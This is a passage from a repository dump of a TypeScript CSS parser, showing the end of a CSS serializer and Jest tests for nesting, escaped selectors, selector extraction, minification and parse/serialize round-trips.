';';\n  }\n  if (nodeType === CssNodeType.Page) {\n    return serializeCssPage(opts, node);\n  }\n  if (nodeType === CssNodeType.Host) {\n    return '@host{' + serializeCssMapVisit(opts, node.rules) + '}';\n  }\n  if (nodeType === CssNodeType.CustomMedia) {\n    return '@custom-media ' + node.name + ' ' + node.media + ';';\n  }\n  if (nodeType === CssNodeType.Document) {\n    return serializeCssDocument(opts, node);\n  }\n  if (nodeType === CssNodeType.Namespace) {\n    return '@namespace ' + node.namespace + ';';\n  }\n  return '';\n};\n\nconst serializeCssRule = (opts: SerializeOpts, node: CssNode) => {\n  const decls = node.declarations;\n  const usedSelectors = opts.usedSelectors;\n  const selectors = node.selectors?.slice() ?? [];\n\n  // A rule needs either declarations or nested rules to be serialized\n  const hasDecls = decls != null && decls.length > 0;\n  const hasNestedRules = node.rules != null && node.rules.length > 0;\n\n  if (!hasDecls && !hasNestedRules) {\n    return '';\n  }\n\n  if (usedSelectors) {\n    let i: number;\n    let j: number;\n    let include = true;\n\n    for (i = selectors.length - 1; i >= 0; i--) {\n      const sel = getCssSelectors(selectors[i]);\n      include = true;\n\n      // classes\n      let jlen = sel.classNames.length;\n      if (jlen > 0 && opts.hasUsedClassNames) {\n        for (j = 0; j < jlen; j++) {\n          if (!usedSelectors.classNames.has(sel.classNames[j])) {\n            include = false;\n            break;\n          }\n        }\n      }\n\n      // tags\n      if (include && opts.hasUsedTags) {\n        jlen = sel.tags.length;\n        if (jlen > 0) {\n          for (j = 0; j < jlen; j++) {\n            if (!usedSelectors.tags.has(sel.tags[j])) {\n              include = false;\n              break;\n            }\n          }\n        }\n      }\n\n      // attrs\n      if (include && opts.hasUsedAttrs) {\n        jlen = sel.attrs.length;\n        if (jlen > 0) {\n          for (j = 0; j < jlen; j++) {\n            if (!usedSelectors.attrs.has(sel.attrs[j])) {\n              include = false;\n              break;\n            }\n          }\n        }\n      }\n\n      // ids\n      if (include && opts.hasUsedIds) {\n        jlen = sel.ids.length;\n        if (jlen > 0) {\n          for (j = 0; j < jlen; j++) {\n            if (!usedSelectors.ids.has(sel.ids[j])) {\n              include = false;\n              break;\n            }\n          }\n        }\n      }\n\n      if (!include) {\n        selectors.splice(i, 1);\n      }\n    }\n  }\n\n  if (selectors.length === 0) {\n    return '';\n  }\n\n  const cleanedSelectors: string[] = [];\n  let cleanedSelector = '';\n  if (node.selectors) {\n    for (const selector of node.selectors) {\n      cleanedSelector = removeSelectorWhitespace(selector);\n      if (!cleanedSelectors.includes(cleanedSelector)) {\n        cleanedSelectors.push(cleanedSelector);\n      }\n    }\n  }\n\n  // Serialize declarations (if any)\n  let declsCss = decls && decls.length > 0 ? serializeCssMapVisit(opts, decls) : '';\n\n  // Serialize nested rules if any\n  const nestedRulesCss = node.rules ? serializeCssMapVisit(opts, node.rules) : '';\n\n  // Add semicolon after last declaration if there are nested rules\n  if (declsCss && nestedRulesCss && declsCss.length > 0) {\n    declsCss += ';';\n  }\n\n  return `${cleanedSelectors}{${declsCss}${nestedRulesCss}}`;\n};\n\nconst serializeCssDeclaration = (node: CssNode, index: number, len: number) => {\n  if (node.value === '') {\n    return '';\n  }\n  if (len - 1 === index) {\n    return node.property + ':' + node.value;\n  }\n  return node.property + ':' + node.value + ';';\n};\n\nconst serializeCssMedia = (opts: SerializeOpts, node: CssNode) => {\n  // Nested @media can have either rules OR declarations\n  const mediaCss = node.declarations\n    ? serializeCssMapVisit(opts, node.declarations)\n    : serializeCssMapVisit(opts, node.rules);\n  if (mediaCss === '') {\n    return '';\n  }\n  return '@media ' + removeMediaWhitespace(node.media) + '{' + mediaCss + '}';\n};\n\nconst serializeCssKeyframes = (opts: SerializeOpts, node: CssNode) => {\n  const keyframesCss = serializeCssMapVisit(opts, node.keyframes);\n  if (keyframesCss === '') {\n    return '';\n  }\n  return '@' + (node.vendor || '') + 'keyframes ' + node.name + '{' + keyframesCss + '}';\n};\n\nconst serializeCssKeyframe = (opts: SerializeOpts, node: CssNode) => {\n  return (node.values?.join(',') ?? '') + '{' + serializeCssMapVisit(opts, node.declarations) + '}';\n};\n\nconst serializeCssFontFace = (opts: SerializeOpts, node: CssNode) => {\n  const fontCss = serializeCssMapVisit(opts, node.declarations);\n  if (fontCss === '') {\n    return '';\n  }\n  return '@font-face{' + fontCss + '}';\n};\n\nconst serializeCssSupports = (opts: SerializeOpts, node: CssNode) => {\n  // Nested @supports can have either rules OR declarations\n  const supportsCss = node.declarations\n    ? serializeCssMapVisit(opts, node.declarations)\n    : serializeCssMapVisit(opts, node.rules);\n  if (supportsCss === '') {\n    return '';\n  }\n  return '@supports ' + node.supports + '{' + supportsCss + '}';\n};\n\nconst serializeCssContainer = (opts: SerializeOpts, node: CssNode) => {\n  // Nested @container can have either rules OR declarations\n  const containerCss = node.declarations\n    ? serializeCssMapVisit(opts, node.declarations)\n    : serializeCssMapVisit(opts, node.rules);\n  if (containerCss === '') {\n    return '';\n  }\n  return '@container ' + removeMediaWhitespace(node.media) + '{' + containerCss + '}';\n};\n\nconst serializeCssPage = (opts: SerializeOpts, node: CssNode) => {\n  const sel = node.selectors?.join(', ') ?? '';\n  return '@page ' + sel + '{' + serializeCssMapVisit(opts, node.declarations) + '}';\n};\n\nconst serializeCssDocument = (opts: SerializeOpts, node: CssNode) => {\n  const documentCss = serializeCssMapVisit(opts, node.rules);\n  const doc = '@' + (node.vendor || '') + 'document ' + node.document;\n  if (documentCss === '') {\n    return '';\n  }\n  return doc + '{' + documentCss + '}';\n};\n\nconst serializeCssMapVisit = (opts: SerializeOpts, nodes: CssNode[] | undefined | null): string => {\n  let rtn = '';\n\n  if (nodes) {\n    for (let i = 0, len = nodes.length; i < len; i++) {\n      rtn += serializeCssVisitNode(opts, nodes[i], i, len);\n    }\n  }\n\n  return rtn;\n};\n\nconst removeSelectorWhitespace = (selector: string) => {\n  let rtn = '';\n  let char = '';\n  let inAttr = false;\n  selector = selector.trim();\n\n  for (let i = 0, l = selector.length; i < l; i++) {\n    char = selector[i];\n\n    if (char === '[' && rtn[rtn.length - 1] !== '\\\\') {\n      inAttr = true;\n    } else if (char === ']' && rtn[rtn.length - 1] !== '\\\\') {\n      inAttr = false;\n    }\n    if (!inAttr && CSS_WS_REG.test(char)) {\n      if (CSS_NEXT_CHAR_REG.test(selector[i + 1])) {\n        continue;\n      }\n      if (CSS_PREV_CHAR_REG.test(rtn[rtn.length - 1])) {\n        continue;\n      }\n      rtn += ' ';\n    } else {\n      rtn += char;\n    }\n  }\n\n  return rtn;\n};\n\nconst removeMediaWhitespace = (media: string | undefined) => {\n  let rtn = '';\n  let char = '';\n  media = media?.trim() ?? '';\n\n  for (let i = 0, l = media.length; i < l; i++) {\n    char = media[i];\n    if (CSS_WS_REG.test(char)) {\n      if (CSS_WS_REG.test(rtn[rtn.length - 1])) {\n        continue;\n      }\n      rtn += ' ';\n    } else {\n      rtn += char;\n    }\n  }\n\n  return rtn;\n};\n\nconst CSS_WS_REG = /\\s/;\nconst CSS_NEXT_CHAR_REG = /[>\\(\\)\\~\\,\\+\\s]/;\nconst CSS_PREV_CHAR_REG = /[>\\(\\~\\,\\+]/;\n"
  },
  {
    "path": "src/compiler/style/css-parser/test/css-nesting.spec.ts",
    "content": "import { parseCss } from '../parse-css';\nimport { serializeCss } from '../serialize-css';\n\ndescribe('CSS Nesting', () => {\n  it('should parse and serialize basic nested rules', () => {\n    const css = `\n      .card {\n        padding: 10px;\n        & .title {\n          font-size: 20px;\n        }\n      }\n    `;\n\n    const result = parseCss(css);\n\n    expect(result.diagnostics).toHaveLength(0);\n\n    const serialized = serializeCss(result.stylesheet, {});\n\n    expect(serialized).toContain('.card');\n    expect(serialized).toContain('padding:10px');\n    expect(serialized).toContain('& .title');\n    expect(serialized).toContain('font-size:20px');\n  });\n\n  it('should parse nested rules without &', () => {\n    const css = `\n      .parent {\n        color: blue;\n        .child {\n          color: red;\n        }\n      }\n    `;\n\n    const result = parseCss(css);\n    expect(result.diagnostics).toHaveLength(0);\n\n    const serialized = serializeCss(result.stylesheet, {});\n\n    expect(serialized).toContain('.parent');\n    expect(serialized).toContain('.child');\n  });\n\n  it('should parse multiple nested levels', () => {\n    const css = `\n      .level1 {\n        color: red;\n        .level2 {\n          color: blue;\n          .level3 {\n            color: green;\n          }\n        }\n      }\n    `;\n\n    const result = parseCss(css);\n    expect(result.diagnostics).toHaveLength(0);\n\n    const serialized = serializeCss(result.stylesheet, {});\n\n    expect(serialized).toContain('.level1');\n    expect(serialized).toContain('.level2');\n    expect(serialized).toContain('.level3');\n  });\n\n  // TODO: Nested @media requires additional parsing logic\n  it('should parse nested at-rules', () => {\n    const css = `\n      .component {\n        padding: 10px;\n        @media (min-width: 768px) {\n          padding: 20px;\n        }\n      }\n    `;\n\n    const result = parseCss(css);\n    expect(result.diagnostics).toHaveLength(0);\n\n    const serialized = serializeCss(result.stylesheet, {});\n\n    expect(serialized).toContain('.component');\n    expect(serialized).toContain('@media');\n    expect(serialized).toContain('padding:10px');\n    expect(serialized).toContain('padding:20px');\n  });\n\n  it('should parse nested @supports', () => {\n    const css = `\n      .feature {\n        display: block;\n        @supports (display: grid) {\n          display: grid;\n        }\n      }\n    `;\n\n    const result = parseCss(css);\n    expect(result.diagnostics).toHaveLength(0);\n\n    const serialized = serializeCss(result.stylesheet, {});\n\n    expect(serialized).toContain('.feature');\n    expect(serialized).toContain('@supports');\n    expect(serialized).toContain('display:block');\n    expect(serialized).toContain('display:grid');\n  });\n\n  it('should parse nested @media with multiple declarations', () => {\n    const css = `\n      .responsive {\n        font-size: 14px;\n        color: black;\n        @media (min-width: 768px) {\n          font-size: 16px;\n          padding: 20px;\n          margin: 10px;\n        }\n      }\n    `;\n\n    const result = parseCss(css);\n    expect(result.diagnostics).toHaveLength(0);\n\n    const serialized = serializeCss(result.stylesheet, {});\n\n    expect(serialized).toContain('font-size:14px');\n    expect(serialized).toContain('font-size:16px');\n    expect(serialized).toContain('padding:20px');\n  });\n\n  it('should parse pseudo-class nesting', () => {\n    const css = `\n      .button {\n        background: blue;\n        &:hover {\n          background: darkblue;\n        }\n      }\n    `;\n\n    const result = parseCss(css);\n    expect(result.diagnostics).toHaveLength(0);\n\n    const serialized = serializeCss(result.stylesheet, {});\n\n    expect(serialized).toContain('.button');\n    expect(serialized).toContain('&:hover');\n  });\n\n  it('should handle mixed declarations and nested rules', () => {\n    const css = `\n      .card {\n        padding: 10px;\n        margin: 5px;\n        .header {\n          font-size: 24px;\n        }\n        color: blue;\n        .footer {\n          font-size: 12px;\n        }\n      }\n    `;\n\n    const result = parseCss(css);\n    expect(result.diagnostics).toHaveLength(0);\n\n    const serialized = serializeCss(result.stylesheet, {});\n\n    expect(serialized).toContain('.card');\n    expect(serialized).toContain('padding:10px');\n    expect(serialized).toContain('.header');\n    expect(serialized).toContain('.footer');\n  });\n\n  it('should handle empty nested rules', () => {\n    const css = `\n      .parent {\n        color: red;\n      }\n    `;\n\n    const result = parseCss(css);\n    expect(result.diagnostics).toHaveLength(0);\n\n    const rule = result.stylesheet.rules?.[0];\n    expect(rule?.rules).toBeNull();\n\n    const serialized = serializeCss(result.stylesheet, {});\n    expect(serialized).toBe('.parent{color:red}');\n  });\n\n  it('should parse @media with deeply nested rules', () => {\n    const css = `@media (min-width: 640px) {\n  article {\n    section:first-of-type {\n      flex: 1;\n    }\n  }\n}`;\n\n    const result = parseCss(css);\n    expect(result.diagnostics).toHaveLength(0);\n\n    // Should have one @media rule\n    expect(result.stylesheet.rules).toHaveLength(1);\n    const mediaRule = result.stylesheet.rules?.[0];\n    expect(mediaRule?.type).toBe(10); // CssNodeType.Media\n    expect(mediaRule?.media).toBe('(min-width: 640px)');\n\n    // @media should contain one rule (article)\n    expect(mediaRule?.rules).toHaveLength(1);\n    const articleRule = mediaRule?.rules?.[0];\n    expect(articleRule?.selectors).toEqual(['article']);\n    expect(articleRule?.declarations).toHaveLength(0);\n\n    // article should contain one nested rule (section:first-of-type)\n    expect(articleRule?.rules).toHaveLength(1);\n    const sectionRule = articleRule?.rules?.[0];\n    expect(sectionRule?.selectors).toEqual(['section:first-of-type']);\n    expect(sectionRule?.declarations).toHaveLength(1);\n    expect(sectionRule?.declarations?.[0].property).toBe('flex');\n    expect(sectionRule?.declarations?.[0].value).toBe('1');\n\n    // Verify serialization\n    const serialized = serializeCss(result.stylesheet, {});\n    expect(serialized).toContain('@media (min-width: 640px)');\n    expect(serialized).toContain('article');\n    expect(serialized).toContain('section:first-of-type');\n    expect(serialized).toContain('flex:1');\n  });\n});\n"
  },
  {
    "path": "src/compiler/style/css-parser/test/escaped-selectors.spec.ts",
    "content": "import { parseCss } from '../parse-css';\nimport { serializeCss } from '../serialize-css';\n\ndescribe('Escaped CSS Selectors', () => {\n  it('should parse selectors with escaped brackets (Tailwind-style)', () => {\n    const css = `\n      .min-width-\\\\[150px\\\\] {\n        min-width: 150px;\n      }\n    `;\n\n    const result = parseCss(css);\n    console.log('Diagnostics:', result.diagnostics);\n\n    expect(result.diagnostics).toHaveLength(0);\n\n    const serialized = serializeCss(result.stylesheet, {});\n    expect(serialized).toContain('min-width-\\\\[150px\\\\]');\n    expect(serialized).toContain('min-width:150px');\n  });\n\n  it('should parse nested rules with escaped brackets', () => {\n    const css = `\n      django-hstore-widget {\n        .min-width-\\\\[150px\\\\] {\n          min-width: 150px;\n        }\n        .min-width-\\\\[300px\\\\] {\n          min-width: 300px;\n        }\n      }\n    `;\n\n    const result = parseCss(css);\n    console.log('Nested diagnostics:', result.diagnostics);\n\n    expect(result.diagnostics).toHaveLength(0);\n  });\n\n  it('should parse element selector with nested rules', () => {\n    const css = `\n      button {\n        all: unset;\n      }\n    `;\n\n    const result = parseCss(css);\n    console.log('Button alone:', JSON.stringify(result.diagnostics, null, 2));\n    expect(result.diagnostics).toHaveLength(0);\n  });\n\n  it('should parse custom element with button', () => {\n    const css = `django-hstore-widget {\n  button {\n    all: unset;\n  }\n}`;\n\n    const result = parseCss(css);\n    console.log('Custom element with button:', JSON.stringify(result.diagnostics, null, 2));\n    if (result.diagnostics.length > 0) {\n      console.log('Stylesheet:', JSON.stringify(result.stylesheet, null, 2));\n    }\n    expect(result.diagnostics).toHaveLength(0);\n  });\n\n  it('should parse custom element with button and comment', () => {\n    const css = `\n      django-hstore-widget {\n        button {\n          all: unset;\n        }\n        /* Comment */\n        .flex {\n          display: flex;\n        }\n      }\n    `;\n\n    const result = parseCss(css);\n    console.log('With comment after button:', JSON.stringify(result.diagnostics, null, 2));\n    expect(result.diagnostics).toHaveLength(0);\n  });\n\n  it('should parse nested rules with comments between them', () => {\n    const css = `\n      django-hstore-widget {\n        button {\n          all: unset;\n        }\n\n        /* Comment here */\n        .flex {\n          display: flex;\n        }\n      }\n    `;\n\n    const result = parseCss(css);\n    console.log('With comments:', JSON.stringify(result.diagnostics, null, 2));\n\n    expect(result.diagnostics).toHaveLength(0);\n  });\n\n  it('should parse the full user CSS', () => {\n    const css = `django-hstore-widget {\n    button {\n        all: unset;\n    }\n\n    /* Arbitrary min-width */\n    .min-width-\\\\[150px\\\\] {\n        min-width: 150px;\n    }\n\n    .min-width-\\\\[300px\\\\] {\n        min-width: 300px;\n    }\n\n    .flex {\n        display: flex;\n    }\n}`;\n\n    const result = parseCss(css);\n    console.log('Full CSS diagnostics:', JSON.stringify(result.diagnostics, null, 2));\n\n    expect(result.diagnostics).toHaveLength(0);\n  });\n});\n"
  },
  {
    "path": "src/compiler/style/css-parser/test/get-selectors.spec.ts",
    "content": "import { getCssSelectors } from '../get-css-selectors';\n\ndescribe('getCssSelectors', () => {\n  it('attribute containing selector', () => {\n    const s = getCssSelectors('pre[class*=\"language-\"]');\n\n    expect(s.tags).toHaveLength(1);\n    expect(s.tags[0]).toBe('pre');\n\n    expect(s.attrs).toHaveLength(1);\n    expect(s.attrs[0]).toBe('class');\n\n    expect(s.classNames).toHaveLength(0);\n    expect(s.ids).toHaveLength(0);\n  });\n\n  it('should get complex selectors', () => {\n    const s = getCssSelectors('button.my-button#id[attr=\"value\"]::before > + ~ @ button:not(.label)');\n\n    expect(s.tags).toHaveLength(2);\n    expect(s.tags[0]).toBe('button');\n    expect(s.tags[1]).toBe('button');\n\n    expect(s.attrs).toHaveLength(1);\n    expect(s.attrs[0]).toBe('attr');\n\n    expect(s.classNames).toHaveLength(1);\n    expect(s.classNames[0]).toBe('my-button');\n\n    expect(s.ids).toHaveLength(1);\n    expect(s.ids[0]).toBe('id');\n  });\n\n  it('should not get selectors in :not()', () => {\n    const s = getCssSelectors('div:not(.my-class)');\n\n    expect(s.tags).toHaveLength(1);\n    expect(s.tags[0]).toBe('div');\n\n    expect(s.classNames).toHaveLength(0);\n  });\n\n  it('should get attrs selectors', () => {\n    const s = getCssSelectors('[attr-a][attr-b=\"value\"] div[AtTr-c]');\n\n    expect(s.attrs).toHaveLength(3);\n    expect(s.attrs[0]).toBe('attr-a');\n    expect(s.attrs[1]).toBe('attr-b');\n    expect(s.attrs[2]).toBe('attr-c');\n  });\n\n  it('should get id selectors', () => {\n    const s = getCssSelectors('#id-a div#ID-b');\n\n    expect(s.ids).toHaveLength(2);\n    expect(s.ids[0]).toBe('id-a');\n    expect(s.ids[1]).toBe('ID-b');\n  });\n\n  it('should get class selectors', () => {\n    const s = getCssSelectors('.class-a.class-b div.ClAsS-c');\n\n    expect(s.classNames).toHaveLength(3);\n    expect(s.classNames[0]).toBe('class-a');\n    expect(s.classNames[1]).toBe('class-b');\n    expect(s.classNames[2]).toBe('ClAsS-c');\n  });\n});\n"
  },
  {
    "path": "src/compiler/style/css-parser/test/minify-css.spec.ts",
    "content": "import { minifyCss } from '../../../optimize/minify-css';\n\ndescribe('minifyCss', () => {\n  it('adds background-image url hash', async () => {\n    const c = await minifyCss({\n      css: `\n        div {\n          background: url('/assets/image.png')\n        }\n      `,\n      resolveUrl: (url) => {\n        return url + '?mph=88';\n      },\n    });\n    expect(c).toBe(`div{background:url('/assets/image.png?mph=88')}`);\n  });\n\n  it('font-face url hash', async () => {\n    const c = await minifyCss({\n      css: `\n        @font-face {\n          font-family: \"Open Sans\";\n          src: url(\"/font.woff2\") format(\"woff2\"),\n               url('/font.woff') format('woff');\n        }\n      `,\n      resolveUrl(url) {\n        return url + '?mph=88';\n      },\n    });\n    expect(c).toBe(\n      `@font-face{font-family:\"Open Sans\";src:url(\"/font.woff2?mph=88\") format(\"woff2\"),url('/font.woff?mph=88') format('woff')}`,\n    );\n  });\n  it('preserves spaces in @container queries', async () => {\n    const css = `main {\n      container-type: inline-size;\n      container-name: main;\n    }\n    .h3 {\n      font-weight: bold;\n      font-size: 1rem;\n    }\n    @container main (width >= 100px) {\n      .h3 {\n        font-size: 2rem;\n      }\n    }\n    @container main (width >= 200px) {\n      .h3 {\n        font-size: 4rem;\n      }\n    }`;\n\n    const result = await minifyCss({ css });\n\n    expect(result).toBe(\n      'main{container-type:inline-size;container-name:main}.h3{font-weight:bold;font-size:1rem}@container main (width >= 100px){.h3{font-size:2rem}}@container main (width >= 200px){.h3{font-size:4rem}}',\n    );\n  });\n});\n"
  },
  {
    "path": "src/compiler/style/css-parser/test/parse-serialize.spec.ts",
    "content": "import { parseCss } from '../parse-css';\nimport { serializeCss } from '../serialize-css';\n\ndescribe('css parse/serialize', () => {\n  // Modified tests from Rework CSS\n  // https://github.com/reworkcss/css/tree/master/test/cases\n  // https://github.com/reworkcss/css/blob/master/LICENSE\n\n  it.each([\n    ['at-namespace', '@namespace svg \"http://www.w3.org/2000/svg\";\\n', '@namespace svg \"http://www.w3.org/2000/svg\";'],\n    [\n      'charset',\n      '@charset \"UTF-8\";       /* Set the encoding of the style sheet to Unicode UTF-8 */\\n@charset \\'iso-8859-15\\'; /* Set the encoding of the style sheet to Latin-9 (Western European languages, with euro sign) */\\n',\n      '@charset \"UTF-8\";@charset \\'iso-8859-15\\';',\n    ],\n    ['charset-linebreak', '@charset\\n    \"UTF-8\"\\n    ;\\n', '@charset \"UTF-8\";'],\n    ['colon-space', 'a {\\n    margin  : auto;\\n    padding : 0;\\n}\\n', 'a{margin:auto;padding:0}'],\n    ['duplicate', 'h1, h1, h2, h2, h3 {color:red}', 'h1,h2,h3{color:red}'],\n    ['comma-attribute 1', '.foo[bar=\"baz,quz\"] {\\n  foobar: 123;\\n}\\n\\n', '.foo[bar=\"baz,quz\"]{foobar:123}'],\n    [\n      'comma-attribute 2',\n      '.bar,\\n#bar[baz=\"qux,foo\"],\\n#qux {\\n  foobar: 456;\\n}\\n\\n',\n      '.bar,#bar[baz=\"qux,foo\"],#qux{foobar:456}',\n    ],\n    [\n      'comma-attribute 3',\n      '.baz[qux=\",foo\"],\\n.baz[qux=\"foo,\"],\\n.baz[qux=\"foo,bar,baz\"],\\n.baz[qux=\",foo,bar,baz,\"],\\n.baz[qux=\" , foo , bar , baz , \"] {\\n  foobar: 789;\\n}\\n',\n      '.baz[qux=\",foo\"],.baz[qux=\"foo,\"],.baz[qux=\"foo,bar,baz\"],.baz[qux=\",foo,bar,baz,\"],.baz[qux=\" , foo , bar , baz , \"]{foobar:789}',\n    ],\n    [\n      'comma-attribute 4',\n      '\\n.qux[foo=\\'bar,baz\\'],\\n.qux[bar=\"baz,foo\"],\\n#qux[foo=\"foobar\"],\\n#qux[foo=\\',bar,baz, \\'] {\\n  foobar: 012;\\n}\\n\\n#foo[foo=\"\"],\\n#foo[bar=\" \"],\\n#foo[bar=\",\"],\\n#foo[bar=\", \"],\\n#foo[bar=\" ,\"],\\n#foo[bar=\" , \"],\\n#foo[baz=\\'\\'],\\n#foo[qux=\\' \\'],\\n#foo[qux=\\',\\'],\\n#foo[qux=\\', \\'],\\n#foo[qux=\\' ,\\'],\\n#foo[qux=\\' , \\'] {\\n  foobar: 345;\\n}\\n',\n      '.qux[foo=\\'bar,baz\\'],.qux[bar=\"baz,foo\"],#qux[foo=\"foobar\"],#qux[foo=\\',bar,baz, \\']{foobar:012}#foo[foo=\"\"],#foo[bar=\" \"],#foo[bar=\",\"],#foo[bar=\", \"],#foo[bar=\" ,\"],#foo[bar=\" , \"],#foo[baz=\\'\\'],#foo[qux=\\' \\'],#foo[qux=\\',\\'],#foo[qux=\\', \\'],#foo[qux=\\' ,\\'],#foo[qux=\\' , \\']{foobar:345}',\n    ],\n    [\n      'comma-selector-function',\n      '.foo:matches(.bar,.baz),\\n.foo:matches(.bar, .baz),\\n.foo:matches(.bar , .baz),\\n.foo:matches(.bar ,.baz) {\\n  prop: value;\\n}\\n\\n.foo:matches(.bar,.baz,.foobar),\\n.foo:matches(.bar, .baz,),\\n.foo:matches(,.bar , .baz) {\\n  anotherprop: anothervalue;\\n}\\n',\n      '.foo:matches(.bar,.baz){prop:value}.foo:matches(.bar,.baz,.foobar),.foo:matches(.bar,.baz,),.foo:matches(,.bar,.baz){anotherprop:anothervalue}',\n    ],\n    [\n      'comment',\n      \"/* 1 */\\n\\nhead, /* footer, */body/*, nav */ { /* 2 */\\n  /* 3 */\\n  /**/foo: 'bar';\\n  /* 4 */\\n} /* 5 */\\n\\n/* 6 */\\n\",\n      \"head,body{foo:'bar';}\",\n    ],\n    ['comment-/*!', '/*! 1 */ div { /* 2 */ } /*! 3 */', '/*! 1 */div{}/*! 3 */'],\n    [\n      'comment-in',\n      'a {\\n    color/**/: 12px;\\n    padding/*4815162342*/: 1px /**/ 2px /*13*/ 3px;\\n    border/*\\\\**/: solid; border-top/*\\\\**/: none\\\\9;\\n}\\n',\n      'a{color:12px;padding:1px  2px  3px;border:solid;border-top:none\\\\9}',\n    ],\n    [\n      'comment-url',\n      '/* http://foo.com/bar/baz.html */\\n/**/\\n\\nfoo { /*/*/\\n  /* something */\\n  bar: baz; /* http://foo.com/bar/baz.html */\\n}\\n',\n      'foo{bar:baz;}',\n    ],\n    [\n      'custom-media',\n      '@custom-media --narrow-window (max-width: 30em);\\n@custom-media --wide-window screen and (min-width: 40em);\\n',\n      '@custom-media --narrow-window (max-width: 30em);@custom-media --wide-window screen and (min-width: 40em);',\n    ],\n    [\n      'custom-media-linebreak',\n      '@custom-media\\n    --test\\n    (min-width: 200px)\\n;\\n',\n      '@custom-media --test (min-width: 200px);',\n    ],\n    [\n      'document',\n      '@-moz-document url-prefix() {\\n  /* ui above */\\n  .ui-select .ui-btn select {\\n    /* ui inside */\\n    opacity:.0001\\n  }\\n\\n  .icon-spin {\\n    height: .9em;\\n  }\\n}\\n',\n      '@-moz-document url-prefix(){.ui-select .ui-btn select{opacity:.0001}.icon-spin{height:.9em}}',\n    ],\n    [\n      'document-linebreak',\n      '@document\\n    url-prefix()\\n    {\\n\\n        .test {\\n            color: blue;\\n        }\\n\\n    }\\n',\n      '@document url-prefix(){.test{color:blue}}',\n    ],\n    ['empty', '\\n', ''],\n    ['empty h1', 'h1 {}', ''],\n    ['no selector', '{color:blue}', ''],\n    ['no prop value', 'h2 {}', ''],\n    [\n      'escapes 1',\n      '/* tests compressed for easy testing */\\n/* http://mathiasbynens.be/notes/css-escapes */\\n/* will match elements with class=\":`(\" */\\n.\\\\3A \\\\`\\\\({}\\n/* will match elements with class=\"1a2b3c\" */\\n.\\\\31 a2b3c{}\\n/* will match the element with id=\"#fake-id\" */\\n#\\\\#fake-id{}\\n/* will match the element with id=\"---\" */\\n#\\\\---{}\\n/* will match the element with id=\"-a-b-c-\" */\\n#-a-b-c-{}\\n/* will match the element with id=\"©\" */\\n#©{}\\n/* More tests from http://mathiasbynens.be/demo/html5-id */\\nhtml{font:1.2em/1.6 Arial;}\\ncode{font-family:Consolas;}\\nli code{background:rgba(255, 255, 255, .5);padding:.3em;}\\nli{background:orange;}\\n#♥{background:lime}\\n#©{background:lime}\\n#“‘’”{background:lime}\\n#☺☃{background:lime}\\n#⌘⌥{background:lime}\\n#𝄞♪♩♫♬{background:lime}\\n#\\\\?{background:lime}\\n#\\\\@{background:lime}\\n#\\\\.{background:lime}\\n#\\\\3A \\\\){background:lime}\\n#\\\\3A \\\\`\\\\({background:lime}\\n#\\\\31 23{background:lime}\\n#\\\\31 a2b3c{background:lime}\\n#\\\\<p\\\\>{background:lime}\\n#\\\\<\\\\>\\\\<\\\\<\\\\<\\\\>\\\\>\\\\<\\\\>{background:lime}\\n#\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\[\\\\>\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\>\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\>\\\\+\\\\+\\\\+\\\\>\\\\+\\\\<\\\\<\\\\<\\\\<\\\\-\\\\]\\\\>\\\\+\\\\+\\\\.\\\\>\\\\+\\\\.\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\.\\\\.\\\\+\\\\+\\\\+\\\\.\\\\>\\\\+\\\\+\\\\.\\\\<\\\\<\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\.\\\\>\\\\.\\\\+\\\\+\\\\+\\\\.\\\\-\\\\-\\\\-\\\\-\\\\-\\\\-\\\\.\\\\-\\\\-\\\\-\\\\-\\\\-\\\\-\\\\-\\\\-\\\\.\\\\>\\\\+\\\\.\\\\>\\\\.{background:lime}\\n#\\\\#{background:lime}\\n#\\\\#\\\\#{background:lime}\\n#\\\\#\\\\.\\\\#\\\\.\\\\#{background:lime}\\n#\\\\_{background:lime}\\n#\\\\.fake\\\\-class{background:lime}\\n#foo\\\\.bar{background:lime}\\n#\\\\3A hover{background:lime}\\n#\\\\3A hover\\\\3A focus\\\\3A active{background:lime}\\n#\\\\[attr\\\\=value\\\\]{background:lime}\\n#f\\\\/o\\\\/o{background:lime}\\n#f\\\\\\\\o\\\\\\\\o{background:lime}\\n#f\\\\*o\\\\*o{background:lime}\\n#f\\\\!o\\\\!o{background:lime}\\n#f\\\\\\'o\\\\\\'o{background:lime}\\n#f\\\\~o\\\\~o{background:lime}\\n#f\\\\+o\\\\+o{background:lime}\\n\\n/* css-parse does not yet pass this test */\\n/*#\\\\{\\\\}{background:lime}*/\\n',\n      \"html{font:1.2em/1.6 Arial}code{font-family:Consolas}li code{background:rgba(255, 255, 255, .5);padding:.3em}li{background:orange}#♥{background:lime}#©{background:lime}#“‘’”{background:lime}#☺☃{background:lime}#⌘⌥{background:lime}#𝄞♪♩♫♬{background:lime}#\\\\?{background:lime}#\\\\@{background:lime}#\\\\.{background:lime}#\\\\3A \\\\){background:lime}#\\\\3A \\\\`\\\\({background:lime}#\\\\31 23{background:lime}#\\\\31 